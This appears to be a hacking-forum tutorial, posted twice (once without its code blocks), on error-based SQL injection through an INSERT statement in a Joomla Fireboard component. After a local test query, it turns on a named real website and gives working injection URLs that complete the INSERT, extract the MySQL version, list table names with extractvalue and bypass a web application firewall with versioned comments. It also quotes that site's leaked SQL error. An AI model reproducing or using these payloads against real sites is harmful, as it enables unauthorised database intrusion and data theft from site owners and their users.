Hello,
Sometime you will have an inject point with the INSERT statement, if you can go on with INSERT statement, you do not need to read my thread, if no, this is your trick.
So, the idea is using error-based to exploit, you can not use union-based with INSERT statement, as least I can not.
Lets begin with my machine first,
I have created a `Tutorial` database with `Persions` table and two column, `ID` and `Name` for testing.
Now we need an INSERT query, here:
Because we are using my machine, we have 2 inject point, they are what we input,`4` and `kimsonha`, it will have more if we have real vulnerable site.
We use this query to test:
So here is result:
![[Image: YcX33Go.png?1]](https://i.imgur.com/YcX33Go.png?1)
Nothing special, now let play with real life:
As you see, there are vulnerable in INSERT statement:
![[Image: Cu7hIpe.png?1]](https://i.imgur.com/Cu7hIpe.png?1)
First, we need make as least one inject point, so we go on to make a complete INSERT statement.
The site say:
![[Image: 2hRQRsr.png?1]](https://i.imgur.com/2hRQRsr.png?1)
Now, look at error and count,
As you see, they have 9 columns, and we only give them 6 values, so we need 3 more to complete the INSERT statement.
The site load normally, it mean we have inject point now :) We have 4 inject points.
Let get the version:
![[Image: JPtQI8J.png?1]](https://i.imgur.com/JPtQI8J.png?1)
You can use error-based to exploit more, because the version is higher than 5.1.5, so I use UpdateXML and ExtractValue to exploit.
There are a WAF, so we need to bypass:
And we done :)
![[Image: NuXCi3l.png?1]](https://i.imgur.com/NuXCi3l.png?1)
Thank for paying attention on my thread.
kimsonha @ HF
p/s: sorry for my bad english.
Sometime you will have an inject point with the INSERT statement, if you can go on with INSERT statement, you do not need to read my thread, if no, this is your trick.
So, the idea is using error-based to exploit, you can not use union-based with INSERT statement, as least I can not.
Lets begin with my machine first,
I have created a `Tutorial` database with `Persions` table and two column, `ID` and `Name` for testing.
Now we need an INSERT query, here:
Code
INSERT INTO Persions VALUES ('4','kimsonha')Because we are using my machine, we have 2 inject point, they are what we input,`4` and `kimsonha`, it will have more if we have real vulnerable site.
We use this query to test:
Code
SELECT 1 FROM (SELECT name_const(version(),1),name_const(version(),1))a)![[Image: YcX33Go.png?1]](https://i.imgur.com/YcX33Go.png?1)
Nothing special, now let play with real life:
Quote:www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4'
As you see, there are vulnerable in INSERT statement:
![[Image: Cu7hIpe.png?1]](https://i.imgur.com/Cu7hIpe.png?1)
First, we need make as least one inject point, so we go on to make a complete INSERT statement.
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4')%23The site say:
![[Image: 2hRQRsr.png?1]](https://i.imgur.com/2hRQRsr.png?1)
Now, look at error and count,
Quote:SQL=INSERT INTO jos_fb_whoisonline (`userid` , `time`, `what`, `task`, `do`, `func`,`link`, `userip`, `user`) VALUES ('0', '1361927862', 'Forum principal','','','4')#','/index.php?option=com_fireboard&Itemid=6&func=4%27)%23', '42.117.108.20', '0')
As you see, they have 9 columns, and we only give them 6 values, so we need 3 more to complete the INSERT statement.
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0','0')%23Let get the version:
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+1+from(select+name_const(version(),1),name_const(version(),1))a))%23![[Image: JPtQI8J.png?1]](https://i.imgur.com/JPtQI8J.png?1)
You can use error-based to exploit more, because the version is higher than 5.1.5, so I use UpdateXML and ExtractValue to exploit.
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))))%23There are a WAF, so we need to bypass:
Code
www.moustarchidine.fr/index.php?option=com_fireboard&Itemid=6&func=4','0','0',(select+extractvalue(1,concat(0x2e,(select+/*!50000table_name*/+from+information_schema.tables+/*!50000where*/+table_schema=database()+limit+0,1)))))%23And we done :)
![[Image: NuXCi3l.png?1]](https://i.imgur.com/NuXCi3l.png?1)
Thank for paying attention on my thread.
kimsonha @ HF
p/s: sorry for my bad english.

